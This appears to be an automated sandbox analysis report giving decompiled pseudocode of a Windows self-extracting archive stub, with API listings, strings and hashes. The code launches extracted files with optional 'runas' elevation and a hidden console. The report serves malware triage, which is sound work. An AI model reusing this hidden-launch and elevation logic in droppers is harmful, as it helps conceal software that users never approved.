						}
						_t64 = E00404051(_t152, __eflags, 3);
						__eflags = _t64;
						if(__eflags != 0) {
							L17:
							_t152 = _t64;
							continue;
						}
						_t64 = E00404051(_t152, __eflags, 3);
						__eflags = _t64;
						if(__eflags != 0) {
							goto L17;
						}
						_t65 = E004040D6(_t152, __eflags);
						__eflags = _t65;
						if(__eflags != 0) {
							_t152 = _t65;
							_v16 = 1;
							continue;
						}
						_t66 = E0040413E(_t152, __eflags);
						__eflags = _t66;
						if(__eflags != 0) {
							_t152 = _t66;
							_v16 = 2;
							continue;
						}
						_t150 = "\"";
						__eflags = _a4;
						if(_a4 == 0) {
							E004148C7( &_v32, _a8);
							goto L29;
						} else {
							__eflags =  *_t152 - 0x22;
							if( *_t152 == 0x22) {
								E00414864( &_v32, _t152);
							} else {
								E00414864( &_v32, "\"");
								E00414922( &_v32, _t152);
								E00414922( &_v32, "\"");
							}
							_t152 = E00404F59();
							__eflags = _t152;
							if(_t152 != 0) {
								E00414922( &_v32, " ");
								L29:
								_t68 = E00414922( &_v32, _t152);
							}
						}
						E004147DF(_t68,  &_v56);
						E00414803( &_v44, E00403022(_v32,  &_v56));
						E00405546( &_v56, __eflags);
						__eflags =  *0x4228d8; // 0x0
						if(__eflags == 0) {
							_t75 = E00401C2A(_v16);
							__eflags = _t75;
							if(_t75 == 0) {
								goto L42;
							} else {
								_t155 = _a12;
								__eflags =  *_t155;
								if(__eflags != 0) {
									E00414922( &_v44, _t155);
									while(1) {
										__eflags =  *_t155;
										if(__eflags == 0) {
											goto L36;
										}
										_t155 = _t155 + 2;
										__eflags = _t155;
									}
								}
								L36:
								E00405546( &_v44, __eflags);
								__eflags = _v5;
								if(__eflags != 0) {
									_t144 = _v44;
									_t77 = E00401D63(_v56, _v44, __eflags, _v12);
									__eflags = _t77;
									if(_t77 != 0) {
										SetLastError(_t77);
										goto L44;
									} else {
										goto L41;
									}
								} else {
									E00414803( &_v68,  *((intOrPtr*)(E0041476B( &_v80, E00414787( &_v92, E004147B1( &_v104, _t150,  &_v56), L"\" "),  &_v44))));
									_push(_v80);
									L0041C160();
									_push(_v92);
									L0041C160();
									_push(_v104);
									L0041C160();
									_t144 = _v12;
									_t157 = _t157 + 0xc;
									_t88 = E00401C59(_v68, _v12, __eflags, _v20); // executed
									_push(_v68);
									__eflags = _t88;
									if(_t88 == 0) {
										L0041C160();
										L44:
										__eflags =  *0x422774 & 0x00000010;
										if(( *0x422774 & 0x00000010) == 0) {
											L46:
											E00409684(_t144, 1, 0x10, _v32);
										} else {
											_t80 = GetLastError();
											__eflags = _t80 - 0x4c7;
											if(_t80 != 0x4c7) {
												goto L46;
											}
										}
										E00405A7A();
										_push(9);
										_pop(1);
									} else {
										L0041C160();
										L41:
										E00401BCE();
										goto L42;
									}
								}
							}
						}
						_push(_v44);
						L0041C160();
						_push(_v56);
						L0041C160();
						E00402FC9( &_v120);
						_push(_v32);
						L0041C160();
						return 1;
					}
					_t62 = E00404051(_t152, __eflags, 0);
					__eflags = _t62;
					if(__eflags != 0) {
						_t152 = _t62;
						goto L10;
					}
					goto L11;
				}
				_t152 = _t59;
				_v5 = 1;
				goto L1;
			}

APIs

Part of subcall function 004147DF: ??2@YAPAXI@Z.MSVCRT ref: 004147E7

Part of subcall function 00404255: GetCurrentDirectoryW.KERNEL32(00000000,00000000,0042289C,?,?,00000000,0040202E,00000000,0042289C,?,00000000), ref: 00404273
Part of subcall function 00404255: GetCurrentDirectoryW.KERNEL32(00000000,00000000,00000000,?,00000000,0040202E,00000000,0042289C,?,00000000), ref: 00404286

_wtol.MSVCRT(?,00000002,00000000,00000000,00000000,00000000,00000000,0042289C,?,00000000), ref: 004020C9

Part of subcall function 00414864: ??2@YAPAXI@Z.MSVCRT ref: 00414896
Part of subcall function 00414864: ??3@YAXPAX@Z.MSVCRT ref: 0041489F
Part of subcall function 00414864: memcpy.MSVCRT ref: 004148B7

Part of subcall function 004148C7: ??2@YAPAXI@Z.MSVCRT ref: 004148EF
Part of subcall function 004148C7: ??3@YAXPAX@Z.MSVCRT ref: 004148F8
Part of subcall function 004148C7: memcpy.MSVCRT ref: 00414912

Part of subcall function 00414922: memcpy.MSVCRT ref: 0041494F

Part of subcall function 00414803: memcpy.MSVCRT ref: 00414829

??3@YAXPAX@Z.MSVCRT ref: 0040223E
??3@YAXPAX@Z.MSVCRT ref: 00402246
??3@YAXPAX@Z.MSVCRT ref: 0040224E
??3@YAXPAX@Z.MSVCRT ref: 0040226B
??3@YAXPAX@Z.MSVCRT ref: 00402273

Part of subcall function 00401D63: GetCommandLineW.KERNEL32(0041D9F0,00000000,00000000), ref: 00401D85
Part of subcall function 00401D63: ??3@YAXPAX@Z.MSVCRT ref: 00401E31
Part of subcall function 00401D63: ??3@YAXPAX@Z.MSVCRT ref: 00401E39
Part of subcall function 00401D63: ??3@YAXPAX@Z.MSVCRT ref: 00401E41
Part of subcall function 00401D63: ??3@YAXPAX@Z.MSVCRT ref: 00401E49
Part of subcall function 00401D63: ??3@YAXPAX@Z.MSVCRT ref: 00401E51
Part of subcall function 00401D63: ??3@YAXPAX@Z.MSVCRT ref: 00401E59
Part of subcall function 00401D63: ??3@YAXPAX@Z.MSVCRT ref: 00401E61
Part of subcall function 00401D63: ??3@YAXPAX@Z.MSVCRT ref: 00401E69
Part of subcall function 00401D63: ??3@YAXPAX@Z.MSVCRT ref: 00401E71
Part of subcall function 00401D63: ??3@YAXPAX@Z.MSVCRT ref: 00401E79
Part of subcall function 00401D63: GetStartupInfoW.KERNEL32(?,00000022,?,00000020,?,?,00000000,0000003A,?," -,sfxwaitall), ref: 00401E8C

SetLastError.KERNEL32(00000000,?,00000000,?,?,00000003,00000003,00000002,00000000,00000000,00000000,00000000,00000000,0042289C,?,00000000), ref: 00402298
GetLastError.KERNEL32(00000000,0042289C,?,00000000), ref: 004022A7
??3@YAXPAX@Z.MSVCRT ref: 004022CE
??3@YAXPAX@Z.MSVCRT ref: 004022D6
??3@YAXPAX@Z.MSVCRT ref: 004022E8

Strings

hidcon, xrefs: 00402057
shc, xrefs: 004020DE
nowait, xrefs: 00402070
waitall, xrefs: 0040203E
ExecuteParameters, xrefs: 0040216E
forcenowait, xrefs: 0040208D
del, xrefs: 004020F0

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$memcpy$??2@$CurrentDirectoryErrorLast$CommandInfoLineStartup_wtol
String ID: ExecuteParameters$del$forcenowait$hidcon$nowait$shc$waitall
API String ID: 3919891259-4019298132
Opcode ID: 11f14fe54b5d0e7b02759e034190e851306b1f95e0a90f0cdd5974c248743fcd
Instruction ID: 21408dceba26f159f852cac34e7ef5db61450a97c3c3bcaf1411dbce6cc4b37b
Opcode Fuzzy Hash: 11f14fe54b5d0e7b02759e034190e851306b1f95e0a90f0cdd5974c248743fcd
Instruction Fuzzy Hash: 40818E71E00219ABCB14BBA1D985AEF7775AB80304F24407FE612772D1DABC5D86CB4D

Uniqueness

Uniqueness Score: -1.00%

Function 00403834, Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 69
timewindowCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E00403834(void* __edx) {
				struct tagRECT _v20;
				struct tagMSG _v48;
				struct HWND__* _t9;
				int _t21;
				int _t27;
				void* _t28;
				struct HWND__* _t29;

				_t28 = __edx;
				_t9 = CreateWindowExW(0x80, L"tooltips_class32", L"sfx", 0, 0, 0, 0, 0, 0, 0, GetModuleHandleW(0), 0); // executed
				_t29 = _t9;
				GetWindowRect(GetDesktopWindow(),  &_v20);
				asm("cdq");
				asm("cdq");
				_t21 = SetWindowPos(_t29, 0, _v20.right - _v20.left - _t28 >> 1, _v20.bottom - _v20.top - _t28 >> 1, 0, 0, 4);
				if(_t29 != 0) {
					SetTimer(_t29, 1, 1, 0); // executed
					GetMessageW( &_v48, 0, 0, 0);
					DispatchMessageW( &_v48);
					_t27 = KillTimer(_t29, 1);
					 *0x42272c = _t29;
					return _t27;
				}
				return _t21;
			}

0x00403834
0x0040385d
0x00403863
0x00403870
0x0040387e
0x0040388c
0x00403894
0x0040389c
0x004038a4
0x004038b1
0x004038bb
0x004038c4
0x004038ca
0x00000000
0x004038ca
0x004038d3

APIs

GetModuleHandleW.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,00406043,?,00000000), ref: 00403840
CreateWindowExW.USER32 ref: 0040385D
GetDesktopWindow.USER32 ref: 00403869
GetWindowRect.USER32 ref: 00403870
SetWindowPos.USER32(00000000,00000000,?,00406043,00000000,00000000,00000004), ref: 00403894
SetTimer.USER32(00000000,00000001,00000001,00000000), ref: 004038A4
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 004038B1
DispatchMessageW.USER32 ref: 004038BB
KillTimer.USER32(00000000,00000001,?,?,?,?,?,?,?,?,?,?,00406043,?,00000000), ref: 004038C4

Strings

tooltips_class32, xrefs: 00403853
sfx, xrefs: 0040384E

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$MessageTimer$CreateDesktopDispatchHandleKillModuleRect
String ID: sfx$tooltips_class32
API String ID: 3184818434-2224206080
Opcode ID: 3563f08bb3cb8092991ced233f77f7c04de6a27a174827c095c902f2545c8bd1
Instruction ID: 0e7f13be778ebd409a4db15796a4025058a8725858d3a305ba7ca36a6b4cbd87
Opcode Fuzzy Hash: 3563f08bb3cb8092991ced233f77f7c04de6a27a174827c095c902f2545c8bd1
Instruction Fuzzy Hash: 95115EB2A01224BBCB109BB99D4DEEF7F7DEF49751F008160F615E2094CAB49100CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 0041C35F, Relevance: 16.6, APIs: 11, Instructions: 111
COMMON

Download Yara Rule

C-Code - Quality: 72%

			_entry_(void* __ebx, void* __edi, void* __esi) {
				CHAR* _v8;
				intOrPtr* _v24;
				intOrPtr _v28;
				struct _STARTUPINFOA _v96;
				int _v100;
				char** _v104;
				int _v108;
				void _v112;
				char** _v116;
				intOrPtr* _v120;
				intOrPtr _v124;
				intOrPtr* _t23;
				intOrPtr* _t24;
				void* _t27;
				void _t29;
				intOrPtr _t36;
				signed int _t38;
				int _t40;
				intOrPtr* _t41;
				intOrPtr _t42;
				intOrPtr _t46;
				intOrPtr _t47;
				intOrPtr _t49;
				intOrPtr* _t54;
				intOrPtr _t57;
				intOrPtr _t60;

				_push(0xffffffff);
				_push(0x41fa80);
				_push(0x41c4f0);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t57;
				_v28 = _t57 - 0x68;
				_v8 = 0;
				__set_app_type(2);
				 *0x426c88 =  *0x426c88 | 0xffffffff;
				 *0x426c8c =  *0x426c8c | 0xffffffff;
				_t23 = __p__fmode();
				_t46 =  *0x424c74; // 0x0
				 *_t23 = _t46;
				_t24 = __p__commode();
				_t47 =  *0x424c70; // 0x0
				 *_t24 = _t47;
				 *0x426c84 = _adjust_fdiv;
				_t27 = E0041C4EB( *_adjust_fdiv);
				_t60 =  *0x4226f0; // 0x1
				if(_t60 == 0) {
					__setusermatherr(E0041C4E8);
					_pop(_t47);
				}
				E0041C4D6(_t27);
				_push(0x422080);
				_push(0x42207c);
				L0041C4D0();
				_t29 =  *0x424c6c; // 0x0
				_v112 = _t29;
				__getmainargs( &_v100,  &_v116,  &_v104,  *0x424c68,  &_v112);
				_push(0x422078);
				_push(0x422000); // executed
				L0041C4D0(); // executed
				_t54 =  *_acmdln;
				_v120 = _t54;
				if( *_t54 != 0x22) {
					while( *_t54 > 0x20) {
						_t54 = _t54 + 1;
						_v120 = _t54;
					}
				} else {
					do {
						_t54 = _t54 + 1;
						_v120 = _t54;
						_t42 =  *_t54;
					} while (_t42 != 0 && _t42 != 0x22);
					if( *_t54 == 0x22) {
						L6:
						_t54 = _t54 + 1;
						_v120 = _t54;
					}
				}
				_t36 =  *_t54;
				if(_t36 != 0 && _t36 <= 0x20) {
					goto L6;
				}
				_v96.dwFlags = 0;
				GetStartupInfoA( &_v96);
				if((_v96.dwFlags & 0x00000001) == 0) {
					_t38 = 0xa;
				} else {
					_t38 = _v96.wShowWindow & 0x0000ffff;
				}
				_push(_t38);
				_push(_t54);
				_push(0);
				_push(GetModuleHandleA(0));
				_t40 = E00407014(_t47);
				_v108 = _t40;
				exit(_t40);
				_t41 = _v24;
				_t49 =  *((intOrPtr*)( *_t41));
				_v124 = _t49;
				_push(_t41);
				_push(_t49);
				L0041C4CA();
				return _t41;
			}

APIs

__set_app_type.MSVCRT ref: 0041C38C
__p__fmode.MSVCRT ref: 0041C3A1
__p__commode.MSVCRT ref: 0041C3AF
__setusermatherr.MSVCRT ref: 0041C3DB
_initterm.MSVCRT ref: 0041C3F1
__getmainargs.MSVCRT ref: 0041C414
_initterm.MSVCRT ref: 0041C424
GetStartupInfoA.KERNEL32(?), ref: 0041C463
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 0041C487
exit.MSVCRT ref: 0041C497
_XcptFilter.MSVCRT ref: 0041C4A9

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherrexit
String ID:
API String ID: 801014965-0
Opcode ID: 6ba2aeb5cbc5bc23aab9a516162c53aab4a9e006d365dc7ef0cafc49e58abbcf
Instruction ID: 67ce4814ce78279d72a23206d993da328827abf4023638930e906dbcac5dfea8
Opcode Fuzzy Hash: 6ba2aeb5cbc5bc23aab9a516162c53aab4a9e006d365dc7ef0cafc49e58abbcf
Instruction Fuzzy Hash: 0E418EB1D84354AFDB209FA5DC95AFA7BB8FB09714F20422BF491972A1C7784881CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00401C59, Relevance: 15.1, APIs: 10, Instructions: 84
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E00401C59(intOrPtr __ecx, signed int __edx, void* __eflags, intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _v16;
				char _v20;
				char _v32;
				struct _SHELLEXECUTEINFOW _v92;
				void* _t36;
				struct HWND__* _t42;
				int _t50;
				int _t51;
				signed int _t55;
				signed int _t56;
				int _t66;

				_v8 = __ecx;
				_t55 = __edx;
				E004147DF(E004147DF(_t36,  &_v20),  &_v32);
				_t66 = 0;
				memset( &_v92, 0, 0x3c);
				_v92.cbSize = 0x3c;
				_v92.lpDirectory = _a4;
				_v92.fMask = 0x740;
				_v92.nShow = 0xa;
				if((_t55 & 0x00000001) != 0) {
					_v92.nShow = 0;
					_v92.fMask = 0x8740;
				}
				if((_t55 & 0x00000002) != 0) {
					_v92.lpVerb = L"runas";
				}
				_t56 = _t55 & 0x00010000;
				if(_t56 == 0) {
					_v92.fMask = _v92.fMask | 0x00000100;
				}
				_t42 =  *0x42272c; // 0x60082
				_v92.hwnd = _t42;
				ShowWindow(_t42, 5); // executed
				BringWindowToTop(_v92.hwnd);
				E00414864( &_v32, E00403022(_v8,  &_v20));
				if(_v16 != _t66) {
					_v92.lpFile = _v20;
					_v92.lpParameters = _v32;
					_t50 = ShellExecuteExW( &_v92); // executed
					if(_t50 != 0) {
						if(_t56 == _t66) {
							WaitForSingleObject(_v92.hProcess, 0xffffffff);
						}
						CloseHandle(_v92.hProcess);
						_t66 = 1;
					}
					_push(_v32);
					L0041C160();
					_push(_v20);
					L0041C160();
					_t51 = _t66;
				} else {
					_push(_v32);
					L0041C160();
					_push(_v20);
					L0041C160();
					_t51 = 1;
				}
				return _t51;
			}

APIs

Part of subcall function 004147DF: ??2@YAPAXI@Z.MSVCRT ref: 004147E7

memset.MSVCRT ref: 00401C7F
ShowWindow.USER32(00060082,00000005,?,0041D9F0,00000000), ref: 00401CD7
BringWindowToTop.USER32 ref: 00401CE0
??3@YAXPAX@Z.MSVCRT ref: 00401D02
??3@YAXPAX@Z.MSVCRT ref: 00401D0A
ShellExecuteExW.SHELL32(0000003C), ref: 00401D24
WaitForSingleObject.KERNEL32(?,000000FF,?,0041D9F0,00000000), ref: 00401D37
CloseHandle.KERNEL32(?,?,0041D9F0,00000000), ref: 00401D40
??3@YAXPAX@Z.MSVCRT ref: 00401D4C
??3@YAXPAX@Z.MSVCRT ref: 00401D54

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$Window$??2@BringCloseExecuteHandleObjectShellShowSingleWaitmemset
String ID:
API String ID: 1117119541-0
Opcode ID: 702744099604b181f25300a2fa32d8a7473fe160c0b826c08e6b88afe4a0ff59
Instruction ID: 6f8207a67a2572a909a3f2a1a43fdbbd5cf9fef0efaf3e720be5f44350d0943e
Opcode Fuzzy Hash: 702744099604b181f25300a2fa32d8a7473fe160c0b826c08e6b88afe4a0ff59
Instruction Fuzzy Hash: 96318BB1D40208ABDF11EFE5DC89ADEBBB5FF84304F10802AE121B62A5DB785945CF08

Uniqueness

Uniqueness Score: -1.00%

Function 0040468A, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 133
stringtimeCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E0040468A(WCHAR* __ecx, struct _FILETIME* __edx) {
				signed int _v8;
				WCHAR* _v12;
				struct _FILETIME _v20;
				char _v32;
				signed int _t38;
				signed int _t41;
				signed int _t44;
				signed short _t48;
				signed char _t52;
				signed int _t60;
				signed int* _t66;
				void* _t67;
				WCHAR* _t78;
				signed int _t79;
				void* _t81;
				void* _t82;

				_t77 = __edx;
				_t66 = __ecx;
				_v12 = __ecx;
				_t38 = lstrlenW(__ecx);
				_t79 = _t38;
				_v8 = _t38;
				E00414803( &_v32, _t66);
				_t78 = E0040420B( &_v32, _t77, 0);
				_t41 =  *(_t66 + _t79 * 2 - 2) & 0x0000ffff;
				if(_t41 == 0x5c || _t41 == 0x2f) {
					 *((short*)(_t78 + _t79 * 2 - 2)) = 0;
					_t79 = _t79 - 1;
					_v8 = _t79;
				}
				while(E00403092(_t78) == 0) {
					while(_t79 > 0) {
						_t44 = _t78[_t79] & 0x0000ffff;
						if(_t44 == 0x2f || _t44 == 0x5c) {
							break;
						} else {
							_t79 = _t79 - 1;
							continue;
						}
					}
					if(_t79 == 0) {
						if(_v8 != 2) {
							L30:
							E00409684(_t77, 1, 0xc, _t66);
							_push(_v32);
							L0041C160();
							return 0;
						}
						_t48 =  *_t66 | 0x00000020;
						if(_t48 < 0x61 || _t48 > 0x7a || _t66[0] != 0x3a) {
							goto L30;
						} else {
							_t81 = 1;
							L29:
							_push(_v32);
							L0041C160();
							return _t81;
						}
					}
					_t78[_t79] = 0;
				}
				GetSystemTimeAsFileTime( &_v20);
				_t52 = GetFileAttributesW(_t78); // executed
				if((_t52 & 0x00000010) != 0) {
					L13:
					while(E00403092(_t78) != 0) {
						if(_t79 < _v8) {
							_t67 =  &(_t78[_t79]);
							memcpy(_t67, _v12 + _t79 * 2, _v8 - _t79 + 1);
							_t82 = _t82 + 0xc;
							if( *_t67 == 0) {
								L20:
								if(_t78[_t79] != 0) {
									_t60 = _t78[_t79] & 0x0000ffff;
									if(_t60 == 0x5c || _t60 == 0x2f) {
										goto L21;
									} else {
										L19:
										_t79 = _t79 + 1;
										goto L20;
									}
								}
								L21:
								_t78[_t79] = 0;
								continue;
							}
							goto L19;
						}
						_push(_v32);
						L0041C160();
						return 1;
					}
					E00409684(_t77, 1, 0xc, _t78);
					L12:
					_t81 = 0;
					goto L29;
				}
				_t77 =  &_v20;
				if(E00404402(_t78,  &_v20) == 0) {
					goto L13;
				}
				goto L12;
			}

APIs

lstrlenW.KERNEL32(?,0042289C,XhV,00000000,?,?,?,00402D14,PreExtract,0041DA3C,00422868), ref: 00404699

Part of subcall function 00414803: memcpy.MSVCRT ref: 00414829

Part of subcall function 0040420B: wcsncpy.MSVCRT ref: 00404239
Part of subcall function 0040420B: ??3@YAXPAX@Z.MSVCRT ref: 00404244

GetSystemTimeAsFileTime.KERNEL32(00402D14,00000000,?,?,0042289C,XhV,00000000,?,?,?,00402D14,PreExtract,0041DA3C,00422868), ref: 00404705
GetFileAttributesW.KERNELBASE(00000000,?,?,0042289C,XhV,00000000,?,?,?,00402D14,PreExtract,0041DA3C,00422868), ref: 0040470C
memcpy.MSVCRT ref: 00404757
??3@YAXPAX@Z.MSVCRT ref: 0040478D
??3@YAXPAX@Z.MSVCRT ref: 004047BE
??3@YAXPAX@Z.MSVCRT ref: 004047D5

Strings

XhV, xrefs: 00404691

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$FileTimememcpy$AttributesSystemlstrlenwcsncpy
String ID: XhV
API String ID: 1217483450-2999104372
Opcode ID: c40a2e58beeca85b6848cfdc38d98d139db898f4e38930355818f6ccf7c5af0f
Instruction ID: be3e48701bef0db7d10aa87f87c9b6a307b0c6ea187aa39f9109aeae5b1a0e1c
Opcode Fuzzy Hash: c40a2e58beeca85b6848cfdc38d98d139db898f4e38930355818f6ccf7c5af0f
Instruction Fuzzy Hash: 5B412BB5900215A6CB20BBA58885ABF73B4EF86704F504537EA02F32C1E73C9D4287DD

Uniqueness

Uniqueness Score: -1.00%

Function 0040541A, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 80
libraryCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E0040541A(void* __edx) {
				short _v96;
				char _v620;
				intOrPtr _t11;
				intOrPtr _t12;
				intOrPtr _t13;
				intOrPtr _t14;
				intOrPtr _t15;
				intOrPtr _t16;
				char* _t18;
				WCHAR* _t22;
				WCHAR* _t23;
				WCHAR* _t24;
				WCHAR* _t25;
				WCHAR* _t26;
				WCHAR* _t27;
				WCHAR* _t28;
				void* _t34;
				void* _t35;
				void* _t36;

				 *0x42275c = LoadLibraryA("kernel32");
				__imp__#17();
				E00403C85(E0041BD00());
				_t22 = 3;
				_t11 = E00403CE0(_t22);
				_t23 = 0x28;
				 *0x422760 = _t11;
				_t12 = E00403CE0(_t23);
				_t24 = 2;
				 *0x42274c = _t12;
				_t13 = E00403CE0(_t24);
				_t25 = 5;
				 *0x422738 = _t13;
				_t14 = E00403CE0(_t25);
				_t26 = 0x15;
				 *0x42273c = _t14;
				_t15 = E00403CE0(_t26);
				_t27 = 0x16;
				 *0x422754 = _t15;
				_t16 = E00403CE0(_t27);
				_t28 = 0x17;
				 *0x422748 = _t16;
				 *0x422744 = E00403CE0(_t28);
				 *0x422758 = 0;
				 *0x422750 = 0;
				_t34 = 0;
				do {
					_t18 =  &_v620;
					__imp__SHGetSpecialFolderPathW(0, _t18, _t34, 0); // executed
					_t38 = _t18;
					if(_t18 != 0) {
						wsprintfW( &_v96, L"SfxFolder%02d", _t34);
						_t36 = _t36 + 0xc;
						_t18 = E00404F69( &_v96,  &_v620, _t38, 1); // executed
						_t35 = 0;
						do {
							_t40 =  *((intOrPtr*)(_t35 + 0x42246c)) - _t34;
							if( *((intOrPtr*)(_t35 + 0x42246c)) == _t34) {
								_t6 = _t35 + 0x422470; // 0x41ea7c
								_t18 = E00404F69( *_t6,  &_v620, _t40, 0);
							}
							_t35 = _t35 + 8;
						} while (_t35 < 0x28);
					}
					_t34 = _t34 + 1;
				} while (_t34 < 0x40);
				return _t18;
			}

APIs

LoadLibraryA.KERNEL32(kernel32,?,?,00000000), ref: 0040542B
#17.COMCTL32(?,?,00000000), ref: 00405436

Part of subcall function 00403C85: GetUserDefaultUILanguage.KERNEL32(00405446,?,?,00000000), ref: 00403C8F

Part of subcall function 00403CE0: GetLastError.KERNEL32(?,?,00000000), ref: 00403D2F
Part of subcall function 00403CE0: wsprintfW.USER32 ref: 00403D40
Part of subcall function 00403CE0: GetEnvironmentVariableW.KERNEL32(?,00000000,00000000), ref: 00403D55
Part of subcall function 00403CE0: GetLastError.KERNEL32 ref: 00403D5A
Part of subcall function 00403CE0: ??2@YAPAXI@Z.MSVCRT ref: 00403D75
Part of subcall function 00403CE0: GetEnvironmentVariableW.KERNEL32(?,00000000,?), ref: 00403D88
Part of subcall function 00403CE0: GetLastError.KERNEL32 ref: 00403D8F
Part of subcall function 00403CE0: lstrcmpiW.KERNEL32(046550E8,00000000), ref: 00403DA4
Part of subcall function 00403CE0: ??3@YAXPAX@Z.MSVCRT ref: 00403DB4
Part of subcall function 00403CE0: SetLastError.KERNEL32(?), ref: 00403DDB
Part of subcall function 00403CE0: lstrlenA.KERNEL32(0041E930), ref: 00403E11
Part of subcall function 00403CE0: ??2@YAPAXI@Z.MSVCRT ref: 00403E2C
Part of subcall function 00403CE0: GetLocaleInfoW.KERNEL32(?,00001004,?,0000001F), ref: 00403E5E

Part of subcall function 00403CE0: ??3@YAXPAX@Z.MSVCRT ref: 00403DD2
Part of subcall function 00403CE0: _wtol.MSVCRT(?), ref: 00403E6F
Part of subcall function 00403CE0: MultiByteToWideChar.KERNEL32(00000000,0041E930,00000001,046550E8,00000002), ref: 00403E8F

SHGetSpecialFolderPathW.SHELL32(00000000,?,00000000,00000000,?,?,00000000), ref: 004054BB
wsprintfW.USER32 ref: 004054CF

Part of subcall function 00404F69: ??3@YAXPAX@Z.MSVCRT ref: 00404FD0
Part of subcall function 00404F69: ??3@YAXPAX@Z.MSVCRT ref: 00404FD9
Part of subcall function 00404F69: ??3@YAXPAX@Z.MSVCRT ref: 00404FE1

Strings

kernel32, xrefs: 00405426
SfxFolder%02d, xrefs: 004054C9

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$ErrorLast$??2@EnvironmentVariablewsprintf$ByteCharDefaultFolderInfoLanguageLibraryLoadLocaleMultiPathSpecialUserWide_wtollstrcmpilstrlen
String ID: SfxFolder%02d$kernel32
API String ID: 2610933736-229743753
Opcode ID: 27ead35fb50d2f33e65111c77d6bae5c444255d28e9266b456b9df8d0fbc8345
Instruction ID: e45f6d1b6f058e368b4ee535d696ebea441a5b3f064171d76d7118da654f54dd
Opcode Fuzzy Hash: 27ead35fb50d2f33e65111c77d6bae5c444255d28e9266b456b9df8d0fbc8345
Instruction Fuzzy Hash: 8B21D3B2A0831467D730AF76AD4AB8A7BA8FB84345F40453FF405F61D0DAF84582CA4C

Uniqueness

Uniqueness Score: -1.00%

Function 004042B5, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004042B5(intOrPtr __edx, void* __eflags) {
				void* __ecx;
				void* _t8;
				long _t11;
				WCHAR* _t12;
				long _t17;
				short* _t22;
				long _t23;
				WCHAR** _t24;
				void* _t34;
				WCHAR** _t35;
				short _t36;
				void* _t37;

				 *((intOrPtr*)(_t37 + 0x10)) = __edx;
				_t35 = _t24;
				E004147DF(_t8, _t24);
				_t11 = GetTempPathW(1, E0040420B(_t35, __edx, 2));
				_t36 = 0;
				_t35[1] = 0;
				 *( *_t35) = 0;
				if(_t11 > 0) {
					_t3 = _t11 + 1; // 0x1
					_t23 = _t3;
					GetTempPathW(_t23, E0040420B(_t35, 0, _t23));
					E004041F0(_t35);
				}
				_t12 = _t35[1];
				_t22 =  &(_t12[7]);
				_t34 = _t12 + _t12;
				while(1) {
					wsprintfW(E0040420B(_t35, 0, _t22) + _t34,  *(_t37 + 0x14), _t36);
					_t37 = _t37 + 0xc;
					E004041F0(_t35);
					_t17 = GetFileAttributesW( *_t35); // executed
					if(_t17 == 0xffffffff) {
						break;
					}
					_t36 = _t36 + 1;
					if(_t36 < 0xfff) {
						continue;
					}
					break;
				}
				return _t35;
			}

APIs

